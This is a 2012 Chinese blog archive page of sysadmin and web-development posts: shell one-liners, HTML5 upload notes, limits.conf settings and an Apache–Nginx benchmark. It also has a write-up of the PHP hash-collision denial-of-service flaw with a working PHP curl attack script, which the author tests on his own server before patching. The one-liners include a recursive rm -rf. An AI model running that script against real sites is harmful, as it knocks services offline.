最常用的10大shell命令:
1 grep key ./file* -IR
2 find . -name "xxx" --exec rm -rf {} \;
3 rsync -avP -e ssh --exclude="config" /src/* /dest/
4 tail -5 /etc/passwd | awk -F: 'BEGIN{t=0}{t=t+$3}END{print t}'
5 sed -i 's/abc/123/' tmp
6 ps aux |grep mysql
7 df  -lh
8 du /usr/local/ -lh --max-depth=1
9 cat /etc/passwd | sort |uniq -c |wc -l
10 netstat -an | awk '/^tcp/ {++arr[$NF];++arr["TOTAL_REQ"]} END{for(key in arr)print key,"\t",arr[key]}' | sort



测试脚本:
#!/bin/bash
#stat by datestr
function stathour()
{
    datestr=$1
    for file in `ls ./thumnail_log/TESTSERVER_downloadstat_${datestr}* | awk '{print $NF}'`
    do
echo $file
awk '{print $10}' $file |sort -n |uniq -c
    done
}
function statday()
{
    datestr=$1
    echo $datestr
    awk '{print $10}' ./thumnail_log/TESTSERVER_downloadstat_${datestr}* |sort -n |uniq -c
}
function statperson()
{
    datestr=$1
    echo $datestr
    awk '{if($10=1)print $1,$10}' ./thumnail_log/TESTSERVER_downloadstat_${datestr}* |sort -n |uniq -c |sort -n |wc -l
}
function getstartday()
{
    local startday=""
    if [ $# -lt 1 ]
    then
       startday="2012-03-09"
    else
       startday=$1
    fi
    echo $startday
}
today=`date -d "tomorrow" +'%Y-%m-%d'`
startday=`getstartday $1`
cmd=$2
if [ -z $2 ];then
    cmd="d"
fi
echo "cmd:$cmd"
while [ $startday != $today ]
do
   #echo $startday
   case $cmd in
      h) stathour $startday;;
      d) statday $startday;;
      p) statperson $startday;;
      *) echo 'wrong cmd!';;
   esac
   startday=$(date -d "$startday +1 day" +%Y-%m-%d)
done
posted @ 2012-03-15 18:31 小马歌 阅读(365) | 评论 (0)编辑 收藏
 
     摘要: 你是不是经常需要远程登录到Linux服务器?你是不是经常为一些长时间运行的任务头疼?还在用 nohup 吗?那么来看看 screen 吧,它会给你一个惊喜!你 是不是经常需要 SSH 或者 telent 远程登录到 Linux 服务器?你是不是经常为一些长时间运行的任务而头疼,比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端...  阅读全文
posted @ 2012-03-15 18:29 小马歌 阅读(160) | 评论 (0)编辑 收藏
 

话说,还是有不少项目里提供让用户上传东西的。小到一个 wordpress 博客,大到一个文件存储网站。为了更好的用户体验。来学习两个新知识吧。HTML5 文件访问(File Access: FileReader)和拖放(Drag and Drop)。或许下个项目就能用上了。

一、起因

minus

今天看到 twitter 上有人在分享 Min.us 这个网站。说是只要把图片进去,就可以分享。是的,它确实是这样。体验了一翻,无论从界面,还操作的方便性上说,这体验还真是很赞的。

不过,我更在意的是,他用了什么样的技术。想着今晚回来瞄下代码。这下,汗的事来了。这页面看起来不像前端写的啊。乱七八糟的。真是看不下去了。不过,为了更好的用户体验,看吧。从页面的 HTML5 标签猜测到可能用到 HTML5 的某些 API,再查一下 JS 发现了这两行:

function isValidBrowser() {   var browser = BrowserDetect.browser;   var version = BrowserDetect.version;   var OS = BrowserDetect.OS;   //alert(browser+','+version+','+OS);   return (     (browser == 'Chrome' && version >= 6) ||     (browser == 'Firefox' && version >= 3.6) || 	(browser == 'Safari' && version >= 5.0 && OS == 'Mac') ||     ("FileReader" in self && "ondrag" in document)   ); } 

二、DEMO

先来个预览吧,你可以先玩玩,再接着往下面看:HTML5 文件拖放上传

三、如何实现

好吧,确定是使用HTML5。我们来看一下这种技术是怎么实现的吧。嗯,再回看上面的代码,还有我提了这么多次,其实,它就用到两个技术:

  1. FileReader,HTML5 File API
  2. Drag and Drop,似乎IE从 5.5 就支持了,都不敢说她是 HTML5 了

这里有两篇比较详细的文章,看(等看完我讲的,你再去看吧):

  1. Native HTML5 Drag and Drop
  2. Reading local files in JavaScript

现在 1:10 am 了,同学。明天还要上班。而具体讲来,还是需要很多时间滴。我们就简单一点。说些应该注意的吧。具体的实现,你看我 DEMO 的代码吧,和上面的文章吧。

一、 浏览器检测 & 支持

支持的浏览器并不多,我测试的是 Filefox 和 Chrome, winSafari 5.0.2 没通过。IE8 以下就更不用说了,当然,Opera 也没有支持。

if (window.FileReader) { 	// 做事的 } else { 	alert('你的浏览器不支持啊,同学') } 

从 Minus 的代码中可以看出,支持的有:

  1. Chrome 6+
  2. Firefox 3.6+
  3. Mac Safari 5.0+

其他的,就是浮云了。不过,这已经足够了,因为我们可以用 hack 来实现。我们这里,就讲可以用的吧。不可以的,就用原来项目中使用的方法吧。

二、注意事项

  1. 浏览器默认行为

    默认情况下,你向 Firefox 拖进一张图片,他可能会重定向于新页面。或者拖过一个链接,可能会让页面重定向。我想,你一定不会让你的用户一边上传,一边又打开一个本地文件页面,然后让他再跑回来上传的页面。那就,阻止浏览器默认行为是非常有必要的。

  2. 事件绑定

    你可能发现了,在 DEMO 当我们把东西拖进容器的时候,容器的边框样式变成虚线。因为我这里绑定了一个事件,当文件进入目标是,添加一个 dragenter 的 CLASSNAME。这里需要注意的事,减少事件的解法,你可以在事件 ondragenter 的时候,添加 CLASSNAME ,而 ondragleave 的时候,删除 CLASSNAME。但绑定在 dragover 上,他就像 mouseover ,在拖动的过程中不断解发,这对于浏览器的负担就很大了。可能会导致一些乱七八糟的,类似于崩溃之类的事。

  3. dataTransfer 的格式

    你可能需要用 e.dataTransfer.setData 和 e.dataTransfer.getData 来决定是否上传用户拖放的文件。

  4. File API 的状态和 result

    检测状态,以便下一步操作,而 result 则可以实现本地预览的功能,让用户知道自己要上传的东西是什么。

  5. File API 的读取格式
    • FileReader.readAsBinaryString(fileBlob) -  result 属性会包含一个文件的二进制的格式
    • FileReader.readAsText(fileBlob, opt_encoding) -  result属性将会包含一个文件的文本格式,默认解码参数是 “utf-8”。
    • FileReader.readAsDataURL(file) -  result 将会包含一个文件的 DataURL 格式(图片通常用这种方式)

四、具体的应用

其实我还没有见到国内用上这个技术的网站。刚才瞄了一下 QQ 微博。也没有。对于这些新技术。于我们前端开来,其实挑战并不是会不会使用,而是,如何去使用。

比如,在支付宝,下次需要改版用户上传身份证认证的时候,或许我会去推动这样的改进。又比如,如果是我在做 QQ 微博,或者任何一个微博,我将会提供一个让用户拖让一张图片就能上传的功能。

HTML5 能用到的地方太多了。就慢你没想法。因为别人其实并不清楚,连最清楚的你,前端,都不去推动,还能有谁去推动呢?

好吧。在接下来的项目中,你,或许也可以试试。

posted @ 2012-03-08 13:57 小马歌 阅读(280) | 评论 (0)编辑 收藏
 

跟着html5手艺的不竭成熟,越来越多的应用采用html5手艺,html5的一项吸惹人的功能之一就是能够从桌面直接拖拽文件就可以上传,很是便利,国外已经有几个网盘采用了这一手艺,这里为巨匠介绍几个,当然使用这一功能需要你的浏览器撑持html5手艺。


  1.Let's Crate


  Let's Crate,采用了较新的手艺,拖曳就能快速上传文件(但需要浏览器的撑持,建议使用谷歌浏览器)的一款国外网盘,简单易用,它不需要注册,打开页面后,直接把要上传的文件拖曳到页面中心的木箱里,完成后,会生成文件分享链接。还有它会提醒你注册一个帐户。若是不想注册,那么复制分享链接,但只能使用30 分钟,相当于的用于姑且分享的,建议注册,注册后可以看到你今朝成立的文件夹数、上传文件总数以及可使用的空间,今朝免费帐户可以使用的容量为 200MB。


  网址:


  http://www.letscrate.com/


  2.Ge.tt


  Ge.tt,一个设计精练清雅文件存储分享网盘,上传速度很快。它最年夜的特点在于上传存储分享极其精练便捷,就跟它精练的域名一样,Ge.tt页面只有一个精明的上传文件的按钮。


  它为你供给无限量的收集空间,免费用户撑持保留文件30天,撑持批量上传,可是是经由过程一路选择当地多个文件上传,不需要你一个一个添加文件,一次最多可以上传30个,上传完成后系统会供给超短分享外链地址,也供给一键分享到Facebook和Twitter,当你的鼠标滑过此链接时可复制该链接与你的伴侣分享。


  此外,您还可以经由过程注册获得额外功能,如对下载次数的实时统计、更长久的文件保留时刻。


  网址:http://www.ge.tt/


  3..Min.us


  Min.us,带给你全新上传体验在线图片存储,浏览,分享和打点工具。页面很是精练,您只需把图片拖拽到Min.us的页面里,图片就能自动上传。若是想成批上传图片,只需用鼠标拔取多张一块拖拽到Min.us即可。要考试考试此项功能,必需你的浏览器是Firefox 3.6+, Chrome, Safari, IE9浏览器。否则,会呈现指定文件上传的上传页面。图片上传后Min.us会自动完成而且生成相册链接,便利您分享给伴侣,有作为编纂用(Edit)链接,有用来分享的(Viewer)链接。在每个图片正下方有一个链接(Link to image)便利你将上传后的图片贴到任何网站和博客中。


  今朝Min.us撑持上传的图片名目有:JPEG, JPG, GIF, PNG, APNG,BMP。撑持单张7MB以下的图片上传,每个相册图片不跨越50张,上传的图片是永远保留的。


  网址:http://min.us/


  4.PicsEngine


  PicsEngine,一款在线图片打点存储软件,近似与桌面版的picasa,你也可以将它算作专注于图片存储的网盘。PicsEngine打点照片很是便利轻易,供给使用标签来智能打点相册。它的整体界面设计很是酷的,供给了无限的存储空间,而且可以从任何处所来进行访谒。


  PicsEngine有一个强年夜的很新的功能,就是你可以直接从桌面拖动照片到浏览器进行上传,当然体验这一功能你需要安装较高版本的网页浏览器

posted @ 2012-03-08 13:56 小马歌 阅读(1613) | 评论 (0)编辑 收藏
 
近来项目需要学习起flex,利用FileReference进行上传文件的试验。结果总是报告#2038错误。
查了很长时间,总算在这找到了不少的提示
IO Error #2038
http://swfupload.org/forum/generaldiscussion/92

其中一段是这样说的
Flash IO Errors are not very helpful. The same couple of error numbers are returned for just about everything.

Here are some common issues that cause these error codes:

- Invalid URL
- Server max post size or max upload size exceeded
- Server unexpectedly terminates the connection
- Zero byte file uploaded
- Basic Authentication failed

To debug these issues I first verify that my upload is working using a standard HTML upload form pointing at my upload.php

说Flash的IO错误提示不是非常有用。几个错误码就包含所有的错误信息。跟着列了IO错误通常包含的错误,并建议我们先用html原上传方式确保上传的页面没有错误。

结果真是我的up.aspx有错误引起的。 
posted @ 2012-03-08 13:05 小马歌 阅读(2314) | 评论 (0)编辑 收藏
 
     摘要: 通过HTML的文件API ,Firefox、Chrome等浏览器已经支持从操作系统直接拖拽文件,并上传到服务器。     相对于使用了十多年的HTML表单,这是一个革命性的进步。虽然IE的落后让很多开发者还在观望中,但是Gmail邮箱的附件拖拽功能已经给部分用户带来了极大的方便,而需要大量上传文件的CMS(内容管理系统)也将会从中受益。    &n...  阅读全文
posted @ 2012-03-07 12:32 小马歌 阅读(303) | 评论 (0)编辑 收藏
 

/etc/security/limits.conf

#<domain>      <type>  <item>         <value>
#

#*               soft    core            0              禁止创建core文件
#*               hard    rss             10000     非root用户最多使用10M内存
#@student        hard    nproc        20     最多进程数限制在20
#@faculty        soft    nproc           20
#@faculty        hard    nproc           50
#ftp             hard    nproc           0
#@student        -       maxlogins       4

limits.conf的工作原理: 
limits.conf的后端是这样工作的:limits.conf是pam_limits.so的设置文件,然后/etc/pam.d/下的应用程式调用pam_***.so模块。譬如说,当用户访问服务器,服务程式将请求发送到PAM模块,PAM模块根据服务名称在/etc/pam.d目录下选择一个对应的服务文件,然后根据服务文件的内容选择具体的PAM模块进行处理。 

例:限制admin用户登录到sshd的服务不能超过2个 

在/etc/pam.d/sshd 中添加 session required pam_limits.so 

在/etc/security/limits.conf中添加 admin - maxlogins 2 

查看应用程式能否被PAM支持,用ldd 

limits.conf文件的参数 
Limits.conf文件的参数能设置成以下两种形式之一: 
暂时地,适用于通过 ulimit 命令登录 shell 会话期间。 
永久地,通过将一个相应的 ulimit 语句添加到由登录 shell 读取的文件之一(例如 ~/.profile),即特定于 shell 的用户资源文件;或通过编辑 /etc/security/limits.conf。 
1.core - 限制内核文件的大小 
何谓core文件,当一个程式崩溃时,在进程当前工作目录的core文件中复制了该进程的存储图像。core文件仅仅是个内存映象(同时加上调试信息),主要是用来调试的。 core文件是个二进制文件,需要用相应的工具来分析程式崩溃时的内存映像。 
系统默认core文件的大小为0,所以没有创建

能用ulimit命令查看和修改core文件的大小。 
$ulimit -c
0
$ ulimit -c 1000
$ ulimit -c
1000 
-c 指定修改core文件的大小,1000指定了core文件大小。也能对core文件的大小不做限制,如: 
# ulimit -c unlimited
#ulimit -c
unlimited 
如果想让修改永久生效,则需要修改设置文件,如 .bash_profile、/etc/profile或/etc/security/limits.conf。 
2.nofile - 打开文件的最大数目 

对于需要做许多套接字连接并使他们处于打开状态的应用程式而言,最佳通过使用 ulimit ?n,或通过设置nofile 参数,为用户把文件描述符的数量设置得比默认值高一些。

 

limits.conf的格式如下:

username|@groupname type resource limit

username|@groupname:设置需要被限制的用户名,组名前面加@和用户名区别。也可以用通配符*来做所有用户的限制。

type:有 soft,hard 和 -,soft 指的是当前系统生效的设置值。hard 表明系统中所能设定的最大值。soft 的限制不能比har 限制高。用 - 就表明同时设置了 soft 和 hard 的值。

resource:

core - 内核文件的大小

date - 最大数据大小

fsize - 最大文件大小

memlock - 最大锁定内存地址空间

nofile - 打开文件的最大数目

rss - 最大持久设置大小

stack - 最大栈大小

cpu - 以分钟为单位的最多 CPU 时间

noproc - 进程的最大数目

as - 地址空间限制

maxlogins - 此用户允许登录的最大数目

要使 limits.conf 文件配置生效,必须要确保 pam_limits.so 文件被加入到启动文件中。查看 /etc/pam.d/login 文件中有:

session required /lib/security/pam_limits.so

按下面说的,可以用ulimit -n 32768设置最大描述符,不过只对当前会话有用,而且要root,这个不好办

或者修改/etc/security/limits.conf,但要重启

另外,没查到linux究竟最大描述符有没有限制,其他几个限制要不要改

posted @ 2012-02-29 00:39 小马歌 阅读(4105) | 评论 (0)编辑 收藏
 

Some reports came out recently after Apache 2.4 was released, saying it’s “as fast, and even faster than Nginx”. To check it out if it’s true, I ran a benchmark by myself. Here are the benchmark results.

9K



It turned out that it’s a false claim. Apache 2.4 is actually much slower than Nginx!

The benchmark was run on the same Linux box (localhost), to avoid possible network affection. I used ab (ApacheBench) as the benchmark client. Apache listened on port 80 and Nginx listened on port 81. In the whole benchmark process, Apache was stressed first then Nginx. There was a 60 seconds sleep between each test, which was taken by five times per concurrency (from 100 to 1000). I gave up the tests with higher concurrencies because Apache was so unstable with concurrency greater than 1000 that there would be some failures. While Nginx was very stable without problems.

I’ve tried my best to fully “unleash the power of Apache”:
1) configured with apr-1.4.6 and apr-util-1.4.1, using the fastest atomic API:

$ ./configure --prefix=/home/shudu/apache --with-included-apr \ --enable-nonportable-atomics=yes

2) least modules were enabled:

$ apache/bin/httpd -M Loaded Modules:  core_module (static)  so_module (static)  http_module (static)  mpm_event_module (static)  authz_core_module (shared)  filter_module (shared)  mime_module (shared)  unixd_module (shared)

3) MaxRequestWorkers was raised to 800 and ServerLimit to 32.

Nginx was just compiled with its default options:

$ ./configure --prefix=/home/shudu/bench/nginx

The common features of Apache and Nginx:
1) Sendfile on.
2) KeepAlive off.
3) AccessLog off.

The configuration files of Apache and Nginx are as followings:

# Apache 2.4.1 ServerRoot "/home/shudu//bench/apache"   KeepAlive Off   ServerLimit 32 MaxRequestWorkers 800   Listen 80 ServerName localhost   LoadModule authz_core_module modules/mod_authz_core.so LoadModule filter_module modules/mod_filter.so LoadModule mime_module modules/mod_mime.so LoadModule unixd_module modules/mod_unixd.so   <IfModule unixd_module> User shudu Group shudu </IfModule>   ServerAdmin you@example.com   <Directory />     AllowOverride none     Require all denied </Directory>   DocumentRoot "/home/shudu/bench/apache/htdocs" <Directory "/home/shudu/bench/apache/htdocs">     Options Indexes FollowSymLinks     AllowOverride None     Require all granted </Directory>   ErrorLog "logs/error_log" LogLevel warn   <IfModule mime_module>     TypesConfig conf/mime.types     AddType application/x-compress .Z     AddType application/x-gzip .gz .tgz </IfModule>   EnableSendfile on
# Nginx-1.0.12 user  shudu users; worker_processes  2;   events {     worker_connections  10240;     accept_mutex_delay  100ms; }   http {     include             mime.types;     default_type        application/octet-stream;       sendfile            on;     tcp_nopush          on;       keepalive_timeout   0;       access_log off;       server {         listen          81;         server_name     localhost;           location / {             root        html;             index       index.html index.htm;         }     } }

My Ubuntu-10.04 box:

$ uname -a Linux shudu-desktop 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
$ grep "model\ name" /proc/cpuinfo  model name	: Intel(R) Core(TM)2 Duo CPU     E8400  @ 3.00GHz model name	: Intel(R) Core(TM)2 Duo CPU     E8400  @ 3.00GHz
$ free -m              total       used       free     shared    buffers     cached Mem:          1995       1130        864          0         80        341 -/+ buffers/cache:        708       1286 Swap:         2491          0       2491
$ cat /etc/security/limits.conf root soft nofile 65535 root hard nofile 65535 shudu soft nofile 65535 shudu hard nofile 65535

Comments are welcome :)

posted @ 2012-02-29 00:38 小马歌 阅读(379) | 评论 (0)编辑 收藏
 
今天抽空研究了一个前不久,出的一个BUG,PHP 5.2/5.3 Hash漏洞,造成一台机器就可以DDOS攻击互联网上的PHP网站。

我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。

\

PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。

\

    我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:
<?php
echo $showtime=date("Y-m-d H:i:s");
?>
执行后的效果是取当前服务器的时间。

\

    找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php

<?php
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}

$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>

   url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php

   在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。

\


    Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。

\

刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%

\


   结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。

打上补丁,我们再观察一下。
1、先查下以后在搭建环境时,PHP的编译参数

\

2、到网上去下载一个PHP补丁,下载地址为:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

\


3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。

\

\


   把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。

4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。

\


5、打补丁并重新编译一下php

\

再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每个环境不一样
再make install

6、重启一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。
\


在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。

\

 

问题解决!

posted @ 2012-02-27 19:18 小马歌 阅读(424) | 评论 (0)编辑 收藏
 

本地开发用到的php版本一定要和服务器版本一样,否则上传后会出现很多问题。 

本地测试的程序上传到服务器出现很多错误,Deprecated: Function split() is deprecated 
查了原因是因为PHP的版本不同所导致的,本身程序开发的时候用的是PHP5.2以下版本,而现在空间上用的是PHP5.3的版本,很多PHP函数已经过时不能用了,这里的这个错误原因就是函数split()在 PHP5.3 中已经不建议使用了。

PHP5.3 split() 不建议使用的原因:
PHP 5.3.0 之后的regex, 希望使用PCRE 的规格, POSIX Regex 都不建议使用了(统一Regex, 避免规格太多).

所以下述是不建议使用的Function (POSIX), 与建议替换成的Function (PCRE) 列表, 详可见: http://www.php.net/manual/en/reference.pcre.pattern.posix.php


* POSIX → PCRE
* ereg_replace() → preg_replace()
* ereg() → preg_match()
* eregi_replace() → preg_replace()
* eregi() → preg_match()
* split() → preg_split()
* spliti() → preg_split()
* sql_regcase() → No equivalent


PHP split() 替代方案
* 需要regex 的split, 可用preg_split() 代替
* 不需要regex, 只要要快速分割固定的字串, 可用explode() 代替. (速度会比需要regex 的快很多)

posted @ 2012-02-27 16:46 小马歌 阅读(235) | 评论 (0)编辑 收藏
仅列出标题
共95页: First 上一页 39 40 41 42 43 44 45 46 47 下一页 Last